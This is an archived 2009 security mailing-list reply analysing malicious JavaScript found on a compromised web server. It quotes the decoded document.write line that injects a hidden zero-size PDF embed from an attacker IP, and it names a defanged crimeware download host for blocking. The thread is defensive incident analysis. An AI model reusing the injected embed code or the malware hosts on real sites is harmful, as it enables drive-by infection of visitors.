Malicious code just found on web server

Sat Apr 18 01:06:57 UTC 2009

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 On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills <securinate at gmail.com> wrote:

>> I took a quick look at the code... formatted it in a pastebin here:
>> http://pastebin.com/m7b50be54
>>
>> That javascript writes this to the page (URL obscured):
>> document.write("<embed
>> src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|
>> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\"
>> type=\"application/pdf\"></embed>");
>>
>> The 1.2.3.4 in the URL is my public IP address (I changed that).
>>
>> Below the javascript, it grabs a PDF:
>> <embed src="include/two.pdf" width="1" height="0"
>> style="border:none"></embed>
>>
>> That PDF is on the site, I haven't looked at it yet though.
>>

Not only is that .pdf malicious, when "executed" it also fetches additional
malware from:

hxxp:// test1.ru /1.1.1/load.php

If that host is not in your block list, it should be -- known purveyor of
crimeware.

This is in addition to the other malicious URLs mentioned in this thread.

- - ferg

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-- 
"Fergie", a.k.a. Paul Ferguson
 Engineering Architecture for the Internet
 fergdawgster(at)gmail.com
 ferg's tech blog: http://fergdawg.blogspot.com/